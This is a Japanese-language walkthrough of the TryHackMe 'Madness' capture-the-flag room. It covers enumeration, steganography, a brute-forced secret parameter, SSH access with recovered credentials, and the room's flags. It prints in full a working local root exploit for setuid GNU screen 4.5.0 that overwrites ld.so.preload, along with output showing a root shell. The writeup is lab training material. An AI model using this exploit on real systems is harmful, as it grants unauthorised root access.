【TryHackMe】Madness：Walkthrough

# 概要

TryHackMe「Madness」のWalkthroughです。

https://tryhackme.com/r/room/madness

# Task1

## **Q1**.*user.txt*

**Hint**.*There's something ROTten about this guys name!*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.143.87 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
|   256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
|_  256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1882/tcp  filtered ecsqdmn
5266/tcp  filtered unknown
28501/tcp filtered unknown
41855/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|

ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.143.87/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
                        [Status: 200, Size: 11320, Words: 3506, Lines: 377, Duration: 240ms]
:: Progress: [141695/141695] :: Job [1/1] :: 168 req/sec :: Duration: [0:14:18] :: Errors: 0 ::
```

`80`番ポートではApacheのデフォルトページが表示されました。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/da7dcf02-f0e2-682b-9cef-d67c4463720b.png)

ソースコードを見ると興味深いコメントアウトや`thm.jpg`を読み込んでいると分かりました。

![home source.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/935ccfdd-f84d-34f2-86d9-2266cdd343da.png)

Webサイト上で表示されていない`thm.jpg`を取得します。

```
$ wget http://10.10.143.87/thm.jpg
```

ステガノグラフィーを疑いファイルの抽出を試みましたがパスフレーズが分かりませんでした。

```
$ steghide extract -sf thm.jpg       
Enter passphrase:
```

バイナリエディタで見るとマジックナンバーは`PNG`形式になっています。

![thm jpg.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5467b9e9-43d9-834d-5d2d-7fa4aff250c7.png)

なので、JPGの`FF D8 FF E0 00 10 4A 46 49 46 00 01`に変更します。

![convert to jpg.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ae86f4bf-fc70-db9f-cf82-34a129e53f84.png)

すると画像が表示され`/th1s_1s_h1dd3n`というパスがわかりました。

![hidden path.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/37f9bd83-893f-c4a7-4487-58858e00087a.png)

アクセスし、ソースコードを見ると`secret`を`0~99`の間で推測する必要があるとコメントに書かれています。

![hidden page source code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/44ff947e-eb10-5052-7c80-07ef4a96219d.png)

`/th1s_1s_h1dd3n/?secret=0`の形式で99までブルートフォースします。

![get request.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/775d3b55-2f60-18aa-05f6-80a599f6d246.png)

![set number.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7ca0b170-d089-20af-3536-95c507fbec83.png)

`73`の時にレスポスサイズが他より大きいので怪しいです。

![finish.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0d1cbf91-3e90-8320-cefc-b09e296967a1.png)

`/th1s_1s_h1dd3n/?secret=73`へアクセスすると`y2RPJ4QaPF!B`という文字列を得られました。

![73 page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f47f1b30-7ae7-c5ab-df65-3914930f6679.png)

これを先ほど出来なかったステガノグラフィーのファイル抽出に使用します。

```
$ steghide extract -sf thm1.jpg 
Enter passphrase: 
wrote extracted data to "hidden.txt".
```

`hidden.txt`が得られました。

```hidden.txt
Fine you found the password! 

Here's a username 

wbxre

I didn't say I would make it easy for you!
```

ユーザー名らしき文字列が得られました。
これをROT13で復号すると`joker`というユーザー名を得られました。

![rot13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b7db8f49-f65a-f6a6-8611-87b11b022672.png)

今度はルームにある画像をダウンロードします。

![5iW7kC8.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c0388440-2d99-94db-9e8f-07a9bdc4c158.jpeg)

この画像も`steghide`でファイルを抽出します。
パスワードなしで`password.txt`の抽出に成功しました。

```
$ steghide extract -sf 5iW7kC8.jpg
Enter passphrase: 
wrote extracted data to "password.txt".
```

`password.txt`にもパスワードらしき文字列がありました。

```password.txt
I didn't think you'd find me! Congratulations!

Here take my password

*axA&GF8dP
```

`Username: joker`,`Password: *axA&GF8dP`でSSH接続に成功しました。

```
$ ssh joker@10.10.143.87
joker@ubuntu:~$
```

`/home/joker/user.txt`からユーザーフラグを入手できます。

```/home/joker/user.txt
THM{d5781e53b130efe2f94f9b0354a5e4ea}
```

**A**.**THM{d5781e53b130efe2f94f9b0354a5e4ea}**

## **Q2**.*root.txt*

`SUID`ビットがセットされたプログラムを探します。

```
$ find / -user root -perm -4000 2>/dev/null

(省略)

/bin/screen-4.5.0
/bin/screen-4.5.0.old
```

`/bin/screen-4.5.0`という興味深いプログラムを発見しました。
このプログラムでexploitを検索すると権限昇格の脆弱性を発見しました。

https://www.exploit-db.com/exploits/41154

exploitコードを作成します。

```exploit.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
```

実行するとrootのシェルを取得できました。

```
$ ./exploit.sh 
./exploit.sh: line 1: creenroot.sh: command not found
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.

# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
THM{5ecd98aa66a6abb670184d7547c8124a}
```

**A**.**THM{5ecd98aa66a6abb670184d7547c8124a}**